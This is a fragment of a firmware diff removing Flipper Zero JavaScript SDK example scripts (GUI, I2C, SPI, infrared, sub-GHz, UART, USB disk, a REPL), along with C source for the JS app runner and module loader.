if (buttonEvent.key === "right" && buttonEvent.type === "short")
gui.viewDispatcher.switchTo(views.demos);
}, gui, views);
// count time
eventLoop.subscribe(eventLoop.timer("periodic", 500), function (_sub, _item, views, stopwatchWidgetElements, halfSeconds) {
let text = math.floor(halfSeconds / 2 / 60).toString();
if (halfSeconds < 10 * 60 * 2)
text = "0" + text;
text += (halfSeconds % 2 === 0) ? ":" : " ";
if (((halfSeconds / 2) % 60) < 10)
text += "0";
text += (math.floor(halfSeconds / 2) % 60).toString();
stopwatchWidgetElements[0].text = text;
views.stopwatchWidget.setChildren(stopwatchWidgetElements);
halfSeconds++;
return [views, stopwatchWidgetElements, halfSeconds];
}, views, stopwatchWidgetElements, 0);
// go back after popup times out
eventLoop.subscribe(views.popup.timeout, function (_sub, _item, gui, views) {
gui.viewDispatcher.switchTo(views.demos);
}, gui, views);
// button menu callback
eventLoop.subscribe(views.buttonMenu.input, function (_sub, input, gui, views) {
views.helloDialog.set("text", "You selected #" + input.index.toString());
views.helloDialog.set("center", "Cool!");
gui.viewDispatcher.switchTo(views.helloDialog);
}, gui, views);
// button panel callback
eventLoop.subscribe(views.buttonPanel.input, function (_sub, input, gui, views) {
views.helloDialog.set("text", "You selected #" + input.index.toString());
views.helloDialog.set("center", "Cool!");
gui.viewDispatcher.switchTo(views.helloDialog);
}, gui, views);
// menu callback
eventLoop.subscribe(views.menu.chosen, function (_sub, index, gui, views) {
views.helloDialog.set("text", "You selected #" + index.toString());
views.helloDialog.set("center", "Cool!");
gui.viewDispatcher.switchTo(views.helloDialog);
}, gui, views);
// menu callback
eventLoop.subscribe(views.numberKbd.input, function (_sub, number, gui, views) {
views.helloDialog.set("text", "You typed " + number.toString());
views.helloDialog.set("center", "Cool!");
gui.viewDispatcher.switchTo(views.helloDialog);
}, gui, views);
// ignore VI list
eventLoop.subscribe(views.viList.valueUpdate, function (_sub, _item) {});
// run UI
gui.viewDispatcher.switchTo(views.demos);
eventLoop.run();

View File

@@ -1,51 +0,0 @@
// Script cannot work without i2c module so check before
checkSdkFeatures(["i2c"]);
// Connect an 24C32N EEPROM to the I2C bus of the board. SDA=pin 15, SCL=pin 16, VCC=pin 9, GND=pin 8.
let i2c = require("i2c");
function i2c_find_first_device() {
let addr = -1;
for (let try_addr = 0; try_addr !== 0xff; try_addr++) {
if (i2c.isDeviceReady(try_addr, 5)) {
addr = try_addr;
break;
}
}
return addr;
}
let addr = i2c_find_first_device();
if (addr === -1) {
print("I2C device not found");
print("Please connect a 24C32N EEPROM I2C device to the Flipper Zero.");
print("SDA=pin 15, SCL=pin 16, VCC=pin 9, GND=pin 8.");
} else {
print("I2C device found at address: " + addr.toString(16));
delay(1000);
// first two bytes are the start address (0x0000)
// the remaining bytes are the data to store.
// can also use Uint8Array([0x00, 0x00, ...]) as write parameter
i2c.write(addr, [0x00, 0x00, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47]);
while (i2c.isDeviceReady(addr, 9) === false) {
print("Waiting for device to be ready...");
}
// write the address to read from (we start at address 0x0001)
// read 3 bytes - 0x42, 0x43, 0x44
let data_buf = i2c.writeRead(addr, [0x00, 0x01], 3, 100);
let data = Uint8Array(data_buf);
print("Read bytes: " + data.length.toString());
for (let i = 0; i < data.length; i++) {
print("data[" + i.toString() + "] = " + data[i].toString(16));
}
// read two more bytes (0x45, 0x46) from current address
data_buf = i2c.read(addr, 2);
data = Uint8Array(data_buf);
print("Read bytes: " + data.length.toString());
for (let i = 0; i < data.length; i++) {
print("data[" + i.toString() + "] = " + data[i].toString(16));
}
}

View File

@@ -1,47 +0,0 @@
checkSdkFeatures(["infrared-send"]);
let infrared = require("infrared");
print("Sending Samsung32 signal (lowers volume)...");
infrared.sendSignal("Samsung32", 0x00000007, 0x0000000b);
delay(1000);
print("Sending raw signal... (Fujitsu AC)");
infrared.sendRawSignal(
[
3298, 1571, 442, 368, 442, 367, 443, 1180, 442, 370, 440, 1181, 442, 368,
442, 367, 442, 368, 442, 1180, 443, 1180, 442, 368, 441, 367, 442, 369, 441,
1180, 442, 1180, 443, 368, 442, 369, 441, 368, 442, 368, 442, 368, 442, 368,
441, 368, 441, 368, 442, 368, 442, 368, 442, 367, 442, 368, 442, 366, 444,
1181, 442, 368, 441, 367, 442, 368, 442, 367, 442, 369, 441, 367, 443, 367,
442, 1180, 442, 368, 442, 368, 442, 368, 441, 368, 441, 1180, 442, 1180,
442, 1181, 442, 1181, 441, 1181, 442, 1181, 442, 1181, 442, 1181, 442, 369,
441, 368, 441, 1182, 442, 367, 443, 367, 443, 367, 442, 368, 442, 1181, 441,
369, 441, 369, 441, 369, 441, 1180, 442, 1181, 441, 369, 442, 368, 442, 367,
442, 368, 441, 1181, 441, 1183, 440, 368, 442, 368, 441, 369, 441, 1181,
442, 368, 442, 367, 443, 1181, 442, 368, 442, 369, 441, 368, 441, 369, 440,
368, 442, 367, 443, 367, 442, 367, 442, 367, 442, 368, 442, 369, 441, 369,
441, 368, 442, 369, 441, 368, 441, 367, 443, 368, 442, 367, 442, 369, 441,
369, 441, 368, 441, 367, 442, 367, 442, 368, 442, 368, 441, 368, 442, 368,
442, 368, 441, 367, 442, 367, 442, 368, 442, 368, 441, 368, 442, 369, 441,
368, 441, 367, 442, 368, 441, 368, 442, 368, 442, 368, 442, 368, 442, 367,
442, 1181, 442, 367, 442, 368, 441, 1181, 442, 1182, 441, 1181, 442, 1181,
442, 1181, 441, 368, 442, 368, 442, 369, 441,
],
true,
{ frequency: 38000, dutyCycle: 0.33 },
);
delay(1000);
print(
"Sending raw signal... (Fujitsu AC) with default frequency and duty cycle",
);
infrared.sendRawSignal([
3300, 1596, 416, 362, 448, 363, 446, 1177, 445, 363, 446, 1177, 445, 362, 448,
362, 448, 364, 446, 1178, 444, 1207, 415, 362, 448, 362, 448, 363, 447, 1177,
445, 1177, 446, 362, 448, 362, 447, 362, 447, 362, 448, 363, 447, 362, 447,
363, 447, 363, 447, 363, 446, 363, 446, 362, 447, 362, 447, 363, 446, 1177,
445, 363, 447, 364, 446, 362, 448, 363, 447, 363, 446, 362, 447, 362, 448,
1175, 447, 363, 447, 364, 446, 362, 448, 362, 448, 1176, 446, 362, 448, 362,
448, 363, 446, 362, 448, 362, 448, 363, 447, 1175, 446, 394, 415, 1176, 446,
1178, 444, 1174, 449, 1177, 445, 1180, 443, 1179, 443,
]);
print("Success");

View File

@@ -1,93 +0,0 @@
let eventLoop = require("event_loop");
let gui = require("gui");
let dialog = require("gui/dialog");
let textInput = require("gui/text_input");
let loading = require("gui/loading");
let storage = require("storage");
// No eval() or exec() so need to run code from file, and filename must be unique
storage.makeDirectory("/ext/.tmp");
storage.makeDirectory("/ext/.tmp/js");
storage.rmrf("/ext/.tmp/js/repl")
storage.makeDirectory("/ext/.tmp/js/repl")
let ctx = {
tmpTemplate: "/ext/.tmp/js/repl/",
tmpNumber: 0,
persistentScope: {},
};
let views = {
dialog: dialog.makeWith({
header: "Interactive Console",
text: "Press OK to Start",
center: "Run Some JS"
}),
textInput: textInput.makeWith({
header: "Type JavaScript Code:",
minLength: 0,
maxLength: 256,
defaultText: "2+2",
defaultTextClear: true,
}),
loading: loading.make(),
};
eventLoop.subscribe(views.dialog.input, function (_sub, button, gui, views) {
if (button === "center") {
gui.viewDispatcher.switchTo(views.textInput);
}
}, gui, views);
eventLoop.subscribe(views.textInput.input, function (_sub, text, gui, views, ctx) {
gui.viewDispatcher.switchTo(views.loading);
let path = ctx.tmpTemplate + (ctx.tmpNumber++).toString();
let file = storage.openFile(path, "w", "create_always");
file.write(text);
file.close();
// Hide GUI before running, we want to see console and avoid deadlock if code fails
gui.viewDispatcher.sendTo("back");
let result = load(path, ctx.persistentScope); // Load runs JS and returns last value on stack
storage.remove(path);
// Must convert to string explicitly
if (result === null) { // mJS: typeof null === "null", ECMAScript: typeof null === "object", IDE complains when checking "null" type
result = "null";
} else if (typeof result === "string") {
result = "'" + result + "'";
} else if (typeof result === "number") {
result = result.toString();
} else if (typeof result === "bigint") { // mJS doesn't support BigInt() but might aswell check
result = "bigint";
} else if (typeof result === "boolean") {
result = result ? "true" : "false";
} else if (typeof result === "symbol") { // mJS doesn't support Symbol() but might aswell check
result = "symbol";
} else if (typeof result === "undefined") {
result = "undefined";
} else if (typeof result === "object") {
result = "object"; // JSON.stringify() is not implemented
} else if (typeof result === "function") {
result = "function";
} else {
result = "unknown type: " + typeof result;
}
gui.viewDispatcher.sendTo("front");
views.dialog.set("header", "JS Returned:");
views.dialog.set("text", result);
gui.viewDispatcher.switchTo(views.dialog);
views.textInput.set("defaultText", text);
}, gui, views, ctx);
eventLoop.subscribe(gui.viewDispatcher.navigation, function (_sub, _, eventLoop) {
eventLoop.stop();
}, eventLoop);
gui.viewDispatcher.switchTo(views.dialog);
// Message behind GUI if something breaks
print("If you're stuck here, something went wrong, re-run the script")
eventLoop.run();
print("\n\nFinished correctly :)")

View File

@@ -1,3 +0,0 @@
let math = load(__dirname + "/load_api.js");
let result = math.add(5, 10);
print(result);

View File

@@ -1,3 +0,0 @@
({
add: function (a, b) { return a + b; },
})

View File

@@ -1,24 +0,0 @@
let math = require("math");
print("math.abs(-5):", math.abs(-5));
print("math.acos(0.5):", math.acos(0.5));
print("math.acosh(2):", math.acosh(2));
print("math.asin(0.5):", math.asin(0.5));
print("math.asinh(2):", math.asinh(2));
print("math.atan(1):", math.atan(1));
print("math.atan2(1, 1):", math.atan2(1, 1));
print("math.atanh(0.5):", math.atanh(0.5));
print("math.cbrt(27):", math.cbrt(27));
print("math.ceil(5.3):", math.ceil(5.3));
print("math.clz32(1):", math.clz32(1));
print("math.cos(math.PI):", math.cos(math.PI));
print("math.exp(1):", math.exp(1));
print("math.floor(5.7):", math.floor(5.7));
print("math.max(3, 5):", math.max(3, 5));
print("math.min(3, 5):", math.min(3, 5));
print("math.pow(2, 3):", math.pow(2, 3));
print("math.random():", math.random());
print("math.sign(-5):", math.sign(-5));
print("math.sin(math.PI/2):", math.sin(math.PI / 2));
print("math.sqrt(25):", math.sqrt(25));
print("math.trunc(5.7):", math.trunc(5.7));

View File

@@ -1,9 +0,0 @@
let notify = require("notification");
notify.error();
delay(1000);
notify.success();
delay(1000);
for (let i = 0; i < 10; i++) {
notify.blink("red", "short");
delay(500);
}

View File

@@ -1,9 +0,0 @@
let storage = require("storage");
print("script has __dirname of" + __dirname);
print("script has __filename of" + __filename);
if (storage.fileExists(__dirname + "/math.js")) {
print("math.js exist here.");
} else {
print("math.js does not exist here.");
}

View File

@@ -1,92 +0,0 @@
// Script cannot work without spi module so check before
checkSdkFeatures(["spi"]);
// Connect a w25q32 SPI device to the Flipper Zero.
// D1=pin 2 (MOSI), SLK=pin 5 (SCK), GND=pin 8 (GND), D0=pin 3 (MISO), CS=pin 4 (CS), VCC=pin 9 (3V3)
let spi = require("spi");
// Display textbox so user can scroll to see all output.
let eventLoop = require("event_loop");
let gui = require("gui");
let textBoxView = require("gui/text_box");
let text = "SPI demo\n";
let textBox = textBoxView.makeWith({
focus: "end",
font: "text",
text: text,
});
function addText(add) {
text += add;
textBox.set("text", text);
}
gui.viewDispatcher.switchTo(textBox);
// writeRead returns a buffer the same length as the input buffer.
// We send 6 bytes of data, starting with 0x90, which is the command to read the manufacturer ID.
// Can also use Uint8Array([0x90, 0x00, ...]) as write parameter
// Optional timeout parameter in ms. We set to 100ms.
let data_buf = spi.writeRead([0x90, 0x0, 0x0, 0x0, 0x0, 0x0], 100);
let data = Uint8Array(data_buf);
if (data.length === 6) {
if (data[4] === 0xEF) {
addText("Found Winbond device\n");
if (data[5] === 0x15) {
addText("Device ID: W25Q32\n");
} else {
addText("Unknown device ID: " + data[5].toString(16) + "\n");
}
} else if (data[4] === 0x0) {
addText("Be sure Winbond W25Q32 is connected to Flipper Zero SPI pins.\n");
} else {
addText("Unknown device. Manufacturer ID: " + data[4].toString(16) + "\n");
}
}
addText("\nReading JEDEC ID\n");
// Acquire the SPI bus. Multiple calls will happen with Chip Select (CS) held low.
spi.acquire();
// Send command (0x9F) to read JEDEC ID.
// Can also use Uint8Array([0x9F]) as write parameter
// Note: you can pass an optional timeout parameter in milliseconds.
spi.write([0x9F]);
// Request 3 bytes of data.
// Note: you can pass an optional timeout parameter in milliseconds.
data_buf = spi.read(3);
// Release the SPI bus as soon as we are done with the set of SPI commands.
spi.release();
data = Uint8Array(data_buf);
addText("JEDEC MF ID: " + data[0].toString(16) + "\n");
addText("JEDEC Memory Type: " + data[1].toString(16) + "\n");
addText("JEDEC Capacity ID: " + data[2].toString(16) + "\n");
if (data[0] === 0xEF) {
addText("Found Winbond device\n");
}
let capacity = data[1] << 8 | data[2];
if (capacity === 0x4016) {
addText("Device: W25Q32\n");
} else if (capacity === 0x4015) {
addText("Device: W25Q16\n");
} else if (capacity === 0x4014) {
addText("Device: W25Q80\n");
} else {
addText("Unknown device\n");
}
// Wait for user to close the app
eventLoop.subscribe(gui.viewDispatcher.navigation, function (_sub, _, eventLoop) {
eventLoop.stop();
}, eventLoop);
// This script has no interaction, only textbox, so event loop doesn't need to be running all the time
// We run it at the end to accept input for the back button press to quit
// But before that, user sees a textbox and pressing back has no effect
// This is fine because it allows simpler logic and the code above takes no time at all to run
eventLoop.run();

View File

@@ -1,29 +0,0 @@
let storage = require("storage");
let path = "/ext/storage.test";
print("File exists:", storage.fileExists(path));
print("Writing...");
let file = storage.openFile(path, "w", "create_always");
file.write("Hello ");
file.close();
print("File exists:", storage.fileExists(path));
file = storage.openFile(path, "w", "open_append");
file.write("World!");
file.close();
print("Reading...");
file = storage.openFile(path, "r", "open_existing");
let text = file.read("ascii", 128);
file.close();
print(text);
print("Removing...")
storage.remove(path);
print("Done")
// You don't need to close the file after each operation, this is just to show some different ways to use the API
// There's also many more functions and options, check type definitions in firmware repo

View File

@@ -1,19 +0,0 @@
let sampleText = "Hello, World!";
let lengthOfText = "Length of text: " + sampleText.length.toString();
print(lengthOfText);
let start = 7;
let end = 12;
let substringResult = sampleText.slice(start, end);
print(substringResult);
let searchStr = "World";
let result2 = sampleText.indexOf(searchStr).toString();
print(result2);
let upperCaseText = "Text in upper case: " + sampleText.toUpperCase();
print(upperCaseText);
let lowerCaseText = "Text in lower case: " + sampleText.toLowerCase();
print(lowerCaseText);

View File

@@ -1,48 +0,0 @@
// Script cannot work without subghz module so check before
checkSdkFeatures(["subghz"]);
let subghz = require("subghz");
subghz.setup();
function printRXline() {
if (subghz.getState() !== "RX") {
subghz.setRx(); // to RX
}
let rssi = subghz.getRssi();
let freq = subghz.getFrequency();
let ext = subghz.isExternal();
print("rssi: ", rssi, "dBm", "@", freq, "MHz", "ext: ", ext);
}
function changeFrequency(freq) {
if (subghz.getState() !== "IDLE") {
subghz.setIdle(); // need to be idle to change frequency
}
subghz.setFrequency(freq);
}
subghz.setIdle();
print(subghz.getState()); // "IDLE"
subghz.setRx();
print(subghz.getState()); // "RX"
changeFrequency(433920000);
printRXline();
delay(1000);
print("Sending 0.sub")
subghz.transmitFile("/ext/subghz/0.sub");
// Can also specify repeat count: subghz.transmitFile(path, repeat)
// If not provided, defaults to 1 repeat for RAW and 10 repeats for parsed
// These 10 repeats by default are to simulate holding the button on remote
print("Send success");
delay(1000);
changeFrequency(315000000);
printRXline();
// Optional, done automatically at script end
subghz.end()
// But can be used to setup again, which will retry to detect external modules

View File

@@ -1,14 +0,0 @@
let serial = require("serial");
serial.setup("usart", 230400);
while (1) {
let rx_data = serial.readBytes(1, 1000);
if (rx_data !== undefined) {
serial.write(rx_data);
let data_view = Uint8Array(rx_data);
print("0x" + data_view[0].toString(16));
}
}
// There's also serial.end(), so you can serial.setup() again in same script
// You can also use serial.readAny(timeout), will avoid starving your loop with single byte reads

View File

@@ -1,15 +0,0 @@
// This script is like uart_echo, except it uses 8E1 framing (8 data bits, even
// parity, 1 stop bit) as opposed to the default 8N1 (8 data bits, no parity,
// 1 stop bit)
let serial = require("serial");
serial.setup("usart", 230400, { dataBits: "8", parity: "even", stopBits: "1" });
while (1) {
let rx_data = serial.readBytes(1, 1000);
if (rx_data !== undefined) {
serial.write(rx_data);
let data_view = Uint8Array(rx_data);
print("0x" + data_view[0].toString(16));
}
}

View File

@@ -1,39 +0,0 @@
// Script cannot work without usbdisk module so check before
checkSdkFeatures(["usbdisk"]);
let usbdisk = require("usbdisk");
let storage = require("storage");
let imagePath = "/ext/apps_data/mass_storage/128MB.img";
let imageSize = 128 * 1024 * 1024;
let imageExisted = storage.fileExists(imagePath);
if (imageExisted) {
print("Disk image '128MB' already exists");
} else {
// CreateImage isn't necessary to overall function, check when its used not at script start
if (doesSdkSupport(["usbdisk-createimage"])) {
print("Creating disk image '128MB'...");
usbdisk.createImage(imagePath, imageSize);
} else {
die("Disk image '128MB' not present, can't auto-create");
}
}
print("Starting UsbDisk...");
usbdisk.start("/ext/apps_data/mass_storage/128MB.img");
print("Started, waiting until ejected...");
while (!usbdisk.wasEjected()) {
delay(1000);
}
print("Ejected, stopping UsbDisk...");
usbdisk.stop();
if (!imageExisted) {
print("Removing disk image...");
storage.remove(imagePath);
}
print("Done");

Binary file not shown.

Before

Width:  |  Height:  |  Size: 88 B

View File

@@ -1,217 +0,0 @@
#include <dialogs/dialogs.h>
#include "js_thread.h"
#include <storage/storage.h>
#include "js_app_i.h"
#include <toolbox/path.h>
#include <assets_icons.h>
#include <toolbox/cli/cli_command.h>
#include <cli/cli_main_commands.h>
#include <toolbox/pipe.h>
#define TAG "JS app"
typedef struct {
JsThread* js_thread;
Gui* gui;
ViewDispatcher* view_dispatcher;
Loading* loading;
JsConsoleView* console_view;
} JsApp;
static uint32_t js_view_exit(void* context) {
UNUSED(context);
return VIEW_NONE;
}
static void js_app_compact_trace(FuriString* trace_str) {
// Keep only first line
size_t line_end = furi_string_search_char(trace_str, '\n');
if(line_end > 0) {
furi_string_left(trace_str, line_end);
}
// Remove full path
FuriString* file_name = furi_string_alloc();
size_t filename_start = furi_string_search_rchar(trace_str, '/');
if(filename_start > 0) {
filename_start++;
furi_string_set_n(
file_name, trace_str, filename_start, furi_string_size(trace_str) - filename_start);
furi_string_printf(trace_str, "at %s", furi_string_get_cstr(file_name));
}
furi_string_free(file_name);
}
static void js_callback(JsThreadEvent event, const char* msg, void* context) {
JsApp* app = context;
furi_assert(app);
if(event == JsThreadEventDone) {
FURI_LOG_I(TAG, "Script done");
console_view_print(app->console_view, "--- DONE ---");
} else if(event == JsThreadEventPrint) {
console_view_print(app->console_view, msg);
} else if(event == JsThreadEventError) {
console_view_print(app->console_view, "--- ERROR ---");
console_view_print(app->console_view, msg);
} else if(event == JsThreadEventErrorTrace) {
FuriString* compact_trace = furi_string_alloc_set_str(msg);
js_app_compact_trace(compact_trace);
console_view_print(app->console_view, furi_string_get_cstr(compact_trace));
furi_string_free(compact_trace);
console_view_print(app->console_view, "See logs for full trace");
}
}
static JsApp* js_app_alloc(void) {
JsApp* app = malloc(sizeof(JsApp));
app->view_dispatcher = view_dispatcher_alloc();
app->loading = loading_alloc();
app->gui = furi_record_open("gui");
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
view_dispatcher_add_view(
app->view_dispatcher, JsAppViewLoading, loading_get_view(app->loading));
app->console_view = console_view_alloc();
view_dispatcher_add_view(
app->view_dispatcher, JsAppViewConsole, console_view_get_view(app->console_view));
view_set_previous_callback(console_view_get_view(app->console_view), js_view_exit);
view_dispatcher_switch_to_view(app->view_dispatcher, JsAppViewConsole);
return app;
}
static void js_app_free(JsApp* app) {
console_view_free(app->console_view);
view_dispatcher_remove_view(app->view_dispatcher, JsAppViewConsole);
loading_free(app->loading);
view_dispatcher_remove_view(app->view_dispatcher, JsAppViewLoading);
view_dispatcher_free(app->view_dispatcher);
furi_record_close("gui");
free(app);
}
int32_t js_app(void* arg) {
JsApp* app = js_app_alloc();
FuriString* script_path = furi_string_alloc_set(EXT_PATH("apps/Scripts"));
do {
if(arg != NULL && strlen(arg) > 0) {
furi_string_set(script_path, (const char*)arg);
} else {
DialogsFileBrowserOptions browser_options;
dialog_file_browser_set_basic_options(&browser_options, ".js", &I_js_script_10px);
DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS);
if(!dialog_file_browser_show(dialogs, script_path, script_path, &browser_options))
break;
furi_record_close(RECORD_DIALOGS);
}
FuriString* name = furi_string_alloc();
path_extract_filename(script_path, name, false);
FuriString* start_text =
furi_string_alloc_printf("Running %s", furi_string_get_cstr(name));
console_view_print(app->console_view, furi_string_get_cstr(start_text));
console_view_print(app->console_view, "-------------");
furi_string_free(name);
furi_string_free(start_text);
app->js_thread = js_thread_run(furi_string_get_cstr(script_path), js_callback, app);
view_dispatcher_run(app->view_dispatcher);
js_thread_stop(app->js_thread);
} while(0);
furi_string_free(script_path);
js_app_free(app);
return 0;
} //-V773
typedef struct {
PipeSide* pipe;
FuriSemaphore* exit_sem;
} JsCliContext;
static void js_cli_print(JsCliContext* ctx, const char* msg) {
UNUSED(ctx);
UNUSED(msg);
pipe_send(ctx->pipe, msg, strlen(msg));
}
static void js_cli_exit(JsCliContext* ctx) {
furi_check(furi_semaphore_release(ctx->exit_sem) == FuriStatusOk);
}
static void js_cli_callback(JsThreadEvent event, const char* msg, void* context) {
JsCliContext* ctx = context;
switch(event) {
case JsThreadEventError:
js_cli_print(ctx, "---- ERROR ----\r\n");
js_cli_print(ctx, msg);
js_cli_print(ctx, "\r\n");
break;
case JsThreadEventErrorTrace:
js_cli_print(ctx, "Trace:\r\n");
js_cli_print(ctx, msg);
js_cli_print(ctx, "\r\n");
js_cli_exit(ctx); // Exit when an error occurs
break;
case JsThreadEventPrint:
js_cli_print(ctx, msg);
js_cli_print(ctx, "\r\n");
break;
case JsThreadEventDone:
js_cli_print(ctx, "Script done!\r\n");
js_cli_exit(ctx);
break;
}
}
void js_cli_execute(PipeSide* pipe, FuriString* args, void* context) {
UNUSED(context);
const char* path = furi_string_get_cstr(args);
Storage* storage = furi_record_open(RECORD_STORAGE);
do {
if(furi_string_size(args) == 0) {
printf("Usage:\r\njs <path>\r\n");
break;
}
if(!storage_file_exists(storage, path)) {
printf("Can not open file %s\r\n", path);
break;
}
JsCliContext ctx = {.pipe = pipe};
ctx.exit_sem = furi_semaphore_alloc(1, 0);
printf("Running script %s, press CTRL+C to stop\r\n", path);
JsThread* js_thread = js_thread_run(path, js_cli_callback, &ctx);
while(furi_semaphore_acquire(ctx.exit_sem, 100) != FuriStatusOk) {
if(cli_is_pipe_broken_or_is_etx_next_char(pipe)) break;
}
js_thread_stop(js_thread);
furi_semaphore_free(ctx.exit_sem);
} while(false);
furi_record_close(RECORD_STORAGE);
}
void js_app_on_system_start(void) {
#ifdef SRV_CLI
CliRegistry* registry = furi_record_open(RECORD_CLI);
cli_registry_add_command(registry, "js", CliCommandFlagDefault, js_cli_execute, NULL);
furi_record_close(RECORD_CLI);
#endif
}

View File

@@ -1,10 +0,0 @@
#include <furi.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/modules/loading.h>
#include "views/console_view.h"
typedef enum {
JsAppViewConsole,
JsAppViewLoading,
} JsAppView;

View File

@@ -1,338 +0,0 @@
#include <core/common_defines.h>
#include "js_modules.h"
#include <m-array.h>
#include <dialogs/dialogs.h>
#include <assets_icons.h>
#include "modules/js_flipper.h"
#ifdef FW_CFG_unit_tests
#include "modules/js_tests.h"
#endif
#define TAG "JS modules"
// Absolute path is used to make possible plugin load from CLI
#define MODULES_PATH "/ext/apps_data/js_app/plugins"
typedef struct {
FuriString* name;
const JsModuleConstructor create;
const JsModuleDestructor destroy;
void* context;
} JsModuleData;
// not using:
// - a dict because ordering is required
// - a bptree because it forces a sorted ordering
// - an rbtree because i deemed it more tedious to implement, and with the
// amount of modules in use (under 10 in the overwhelming majority of cases)
// i bet it's going to be slower than a plain array
ARRAY_DEF(JsModuleArray, JsModuleData, M_POD_OPLIST); //-V658
#define M_OPL_JsModuleArray_t() ARRAY_OPLIST(JsModuleArray)
static const JsModuleDescriptor modules_builtin[] = {
{"flipper", js_flipper_create, NULL, NULL},
#ifdef FW_CFG_unit_tests
{"tests", js_tests_create, NULL, NULL},
#endif
};
struct JsModules {
struct mjs* mjs;
JsModuleArray_t modules;
PluginManager* plugin_manager;
CompositeApiResolver* resolver;
};
JsModules* js_modules_create(struct mjs* mjs, CompositeApiResolver* resolver) {
JsModules* modules = malloc(sizeof(JsModules));
modules->mjs = mjs;
JsModuleArray_init(modules->modules);
modules->plugin_manager = plugin_manager_alloc(
PLUGIN_APP_ID, PLUGIN_API_VERSION, composite_api_resolver_get(resolver));
modules->resolver = resolver;
return modules;
}
void js_modules_destroy(JsModules* instance) {
for
M_EACH(module, instance->modules, JsModuleArray_t) {
FURI_LOG_T(TAG, "Tearing down %s", furi_string_get_cstr(module->name));
if(module->destroy) module->destroy(module->context);
furi_string_free(module->name);
}
plugin_manager_free(instance->plugin_manager);
JsModuleArray_clear(instance->modules);
free(instance);
}
JsModuleData* js_find_loaded_module(JsModules* instance, const char* name) {
for
M_EACH(module, instance->modules, JsModuleArray_t) {
if(furi_string_cmp_str(module->name, name) == 0) return module;
}
return NULL;
}
mjs_val_t js_module_require(JsModules* modules, const char* name, size_t name_len) {
// Ignore the initial part of the module name
const char* optional_module_prefix = "@" JS_SDK_VENDOR "/fz-sdk/";
if(strncmp(name, optional_module_prefix, strlen(optional_module_prefix)) == 0) {
name += strlen(optional_module_prefix);
}
// Check if module is already installed
JsModuleData* module_inst = js_find_loaded_module(modules, name);
if(module_inst) { //-V547
mjs_prepend_errorf(
modules->mjs, MJS_BAD_ARGS_ERROR, "\"%s\" module is already installed", name);
return MJS_UNDEFINED;
}
bool module_found = false;
// Check built-in modules
for(size_t i = 0; i < COUNT_OF(modules_builtin); i++) { //-V1008
size_t name_compare_len = strlen(modules_builtin[i].name);
if(name_compare_len != name_len) {
continue;
}
if(strncmp(name, modules_builtin[i].name, name_compare_len) == 0) {
JsModuleData module = {
.create = modules_builtin[i].create,
.destroy = modules_builtin[i].destroy,
.name = furi_string_alloc_set_str(name),
};
JsModuleArray_push_at(modules->modules, 0, module);
module_found = true;
FURI_LOG_I(TAG, "Using built-in module %s", name);
break;
}
}
// External module load
if(!module_found) {
FuriString* deslashed_name = furi_string_alloc_set_str(name);
furi_string_replace_all_str(deslashed_name, "/", "__");
FuriString* module_path = furi_string_alloc();
furi_string_printf(
module_path, "%s/js_%s.fal", MODULES_PATH, furi_string_get_cstr(deslashed_name));
FURI_LOG_I(
TAG, "Loading external module %s from %s", name, furi_string_get_cstr(module_path));
do {
uint32_t plugin_cnt_last = plugin_manager_get_count(modules->plugin_manager);
PluginManagerError load_error = plugin_manager_load_single(
modules->plugin_manager, furi_string_get_cstr(module_path));
if(load_error != PluginManagerErrorNone) {
FURI_LOG_E(
TAG,
"Module %s load error. It may depend on other modules that are not yet loaded.",
name);
break;
}
const JsModuleDescriptor* plugin =
plugin_manager_get_ep(modules->plugin_manager, plugin_cnt_last);
furi_assert(plugin);
if(furi_string_cmp_str(deslashed_name, plugin->name) != 0) {
FURI_LOG_E(TAG, "Module name mismatch %s", plugin->name);
break;
}
JsModuleData module = {
.create = plugin->create,
.destroy = plugin->destroy,
.name = furi_string_alloc_set_str(name),
};
JsModuleArray_push_at(modules->modules, 0, module);
if(plugin->api_interface) {
FURI_LOG_I(TAG, "Added module API to composite resolver: %s", plugin->name);
composite_api_resolver_add(modules->resolver, plugin->api_interface);
}
module_found = true;
} while(0);
furi_string_free(module_path);
furi_string_free(deslashed_name);
}
// Run module constructor
mjs_val_t module_object = MJS_UNDEFINED;
if(module_found) {
module_inst = js_find_loaded_module(modules, name);
furi_assert(module_inst);
if(module_inst->create) { //-V779
module_inst->context = module_inst->create(modules->mjs, &module_object, modules);
}
}
if(module_object == MJS_UNDEFINED) { //-V547
mjs_prepend_errorf(modules->mjs, MJS_BAD_ARGS_ERROR, "\"%s\" module load fail", name);
}
return module_object;
}
void* js_module_get(JsModules* modules, const char* name) {
FuriString* module_name = furi_string_alloc_set_str(name);
JsModuleData* module_inst = js_find_loaded_module(modules, name);
furi_string_free(module_name);
return module_inst ? module_inst->context : NULL;
}
typedef enum {
JsSdkCompatStatusCompatible,
JsSdkCompatStatusFirmwareTooOld,
JsSdkCompatStatusFirmwareTooNew,
} JsSdkCompatStatus;
/**
* @brief Checks compatibility between the firmware and the JS SDK version
* expected by the script
*/
static JsSdkCompatStatus
js_internal_sdk_compatibility_status(int32_t exp_major, int32_t exp_minor) {
if(exp_major < JS_SDK_MAJOR) return JsSdkCompatStatusFirmwareTooNew;
if(exp_major > JS_SDK_MAJOR || exp_minor > JS_SDK_MINOR)
return JsSdkCompatStatusFirmwareTooOld;
return JsSdkCompatStatusCompatible;
}
static const JsValueDeclaration js_sdk_version_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeInt32),
JS_VALUE_SIMPLE(JsValueTypeInt32),
};
static const JsValueArguments js_sdk_version_args = JS_VALUE_ARGS(js_sdk_version_arg_list);
void js_sdk_compatibility_status(struct mjs* mjs) {
int32_t major, minor;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_sdk_version_args, &major, &minor);
JsSdkCompatStatus status = js_internal_sdk_compatibility_status(major, minor);
switch(status) {
case JsSdkCompatStatusCompatible:
mjs_return(mjs, mjs_mk_string(mjs, "compatible", ~0, 0));
return;
case JsSdkCompatStatusFirmwareTooOld:
mjs_return(mjs, mjs_mk_string(mjs, "firmwareTooOld", ~0, 0));
return;
case JsSdkCompatStatusFirmwareTooNew:
mjs_return(mjs, mjs_mk_string(mjs, "firmwareTooNew", ~0, 0));
return;
}
}
void js_is_sdk_compatible(struct mjs* mjs) {
int32_t major, minor;
